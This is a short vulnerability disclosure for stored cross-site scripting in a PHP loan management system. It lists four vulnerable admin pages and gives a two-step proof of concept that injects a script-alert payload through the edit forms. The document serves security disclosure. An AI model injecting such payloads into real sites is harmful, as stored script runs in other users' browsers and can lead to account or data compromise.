Loan Management System 1.0 - Multiple Cross Site Scripting (Stored)

# Exploit Title: Loan Management System 1.0 - Multiple Cross Site Scripting (Stored)
# Google Dork: N/A
# Date: 2020/10/19
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/loan-management-system-using-php.zip
# Version: 1.0
# Tested on: XAMPP 
# CVE : N/A

Vulnerable Pages:

http://localhost/loan/index.php?page=loans
http://localhost/loan/index.php?page=payments
http://localhost/loan/index.php?page=borrowers
http://localhost/loan/index.php?page=loan_type

Proof of Concept:

1 - Go to vulnerable pages and using edit button (in the right, action column).

2 - And fill the blanks with "<script>alert(1)</script>" payload.